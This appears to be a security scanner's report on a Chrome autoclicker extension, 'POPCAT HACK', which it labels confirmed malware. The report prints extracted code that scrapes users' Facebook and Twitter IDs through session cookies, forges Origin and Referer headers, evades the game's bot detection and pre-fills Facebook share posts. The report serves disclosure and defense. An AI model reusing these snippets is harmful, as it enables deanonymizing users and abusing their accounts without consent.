Security Alert: Confirmed Malware
POPCAT HACK
ID: fbnfjhmfodkfmdmpbkmioepjojfnfnol
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- groupdollarView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Autoclicker for POPCAT that won't be affected by the RED EYES.
Autoclicker for POPCAT will not be affected by EYES. This is an autoclicker for the popular internet game - POPCAT. This auto clicker allows you to customize the time interval between each click and start/stop the clicker through the control panel. Auto-click starts clicking when you visit https://popcat.click. ********************************************* Update v0.1.4: - Toggle the automatic clicker brought to the interface popup - Set time between each pop-up extension click - See the scoreboard at a glance with the pop-up extension - Share the score of the inviting country and friends to play the game on the heat platforms: Twitter, Facebook and Linkedin. ********************************************* USAGE INSTRUCTIONS: ** Function: 1. Auto click cat photo 2. Turn on/Turn off auto click 3. View and quickly search your country scores on the scoreboard popup extension. 4. Share and invite friends to play games. ** How to use functions: 1. Set the time (in milliseconds) between clicks of the pop-up extension. 2. Open the popcat.click page autoclick will run automatically. 3. Enable/disable autoclick in left pop-up window. 4. See your country score in the left pop-up window. **ADVICE : Each IP can add permission to send 800 clicks to the server every 30 seconds. If pass Rate Rate, clicks will not be counted in your country. **Note: This utility extension also automatically removes red-eye mode each time it activates, but you should not do it too quickly because of many times.
Sensitive Domain Access
This extension has access to the following sensitive domains:
- *://*.facebook.com/*
- *://facebook.com/*
- *://twitter.com/*
The background service worker silently fetches authenticated Facebook (m.facebook.com composer endpoint) and Twitter (twitter.com/home) pages using the victim's session cookies, then regex-scrapes the user's Facebook actorID and Twitter user_id. These social-network identifiers are extracted without consent and exposed via runtime messaging (check-user), enabling deanonymization and cross-site profiling.
const ee = chrome.declarativeNetRequest.HeaderOperation, nr = chrome.declarativeNetRequest.RuleActionType, f_ = async () => { const N = "https://m.facebook.com/", H = "composer/ocelot/async_loader/?publisher=feed"; let a = null; const te = await fetch(N + H) .then(pe => pe.text()) .catch(pe => !1); return typeof te == "string" && /"actorID\\":\\"([\d]+)\\"/.test(te) && (a = /"actorID\\":\\"([\d]+)\\"/.exec(te)[ 1]), a }, a_ = async () => { let N = null; const H = await fetch("https://twitter.com/home") .then(a => a.text()) .catch(a => !1); return typeof H == "string" && /"user_id":"([\d]+)"/.test(H) && (N = /"user_id":"([\d]+)"/.exec(H)[1]), N }, o_ = async () => { let N = null; return N = await Promise.all([f_(), a_()]) .then(H => H) .catch(() => !1), N }Uses declarativeNetRequest to forge Origin and Referer headers on background XHR requests (tabIds:[-1]) to facebook.com, m.facebook.com, twitter.com, and leaderboard.popcat.click. Spoofing Origin/Referer bypasses CORS and CSRF protections, allowing the extension's silent background fetches to appear as same-origin requests from the target sites and successfully scrape authenticated data the browser would otherwise block.
chrome.declarativeNetRequest.updateSessionRules({ addRules: [{ id: 1, priority: 1, action: { type: nr.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: ee.SET, value: "https://facebook.com" }, { header: "referer", operation: ee.SET, value: "https://facebook.com/" }] }, condition: { urlFilter: "www.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [-1] } }, { id: 2, priority: 1, action: { type: nr.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: ee.SET, value: "https://popcat.click" }, { header: "referer", operation: ee.SET, value: "https://popcat.click/" }] }Synthesizes Ctrl+G KeyboardEvents at 10ms intervals to automate clicks against popcat.click — the extension's stated purpose, but a deceptive automation mechanism. Combined with cookie inspection of 'bot=true', it actively detects anti-cheat flagging, clears the bot cookie, and force-reloads the page to evade detection. This is anti-detection logic for game/leaderboard fraud.
function C() { let e, t; e = new KeyboardEvent("keydown", { key: "g", ctrlKey: !0 }), t = new KeyboardEvent("keyup", { key: "g", ctrlKey: !0 }), document.dispatchEvent(e), document.dispatchEvent(t)}function u() { n.value || (n.value = !0, chrome.storage.local.get("durationClick", ({ durationClick: e }) => { c = setInterval(function() { if (C(), h("bot") === "true") { k(), window.location.reload(); return } }, e || 10) }))}On Facebook's sharer page, the content script auto-injects attacker-controlled text (parsed from URL query params) into the share textarea via document.execCommand('insertText'). This silently pre-fills user-facing share dialogs with content the user did not type, enabling social-engineered post promotion / spam-share campaigns from the victim's Facebook account.
v = (o, n, r = 0) => { r <= 100 && setTimeout(() => { const c = document.querySelector(o); c ? (c.focus(), n = n.trim(), setTimeout(() => document.execCommand("insertText", !1, n), 1e3)) : v(o, n, ++r) }, 50)};if (window.location.hostname === "popcat.click") { const o = document.createElement("popup-hack"); o.id = "popup-hack", document.body.appendChild(o), S(U) .use(T) .mount(o)}if (window.location.href.includes("https://www.facebook.com/sharer/sharer.php")) { const o = decodeURIComponent(window.location.search.replace("?", "")) .split("&"), n = o[1].replace("country=", ""), r = o[2].replace("score=", ""); n && v(".innerWrap > textarea", `Current score: ${n} - ${Intl.NumberFormat("en-US").format(Number(r))}`)}By severity
Versions scanned
Showing 1 of 6 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.1.5 | 4 |
Files with findings
2 distinct paths — top paths by unique finding count:
- assets/index.ts.6993d819.js2
- assets/index.ts.e0a89eb8.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.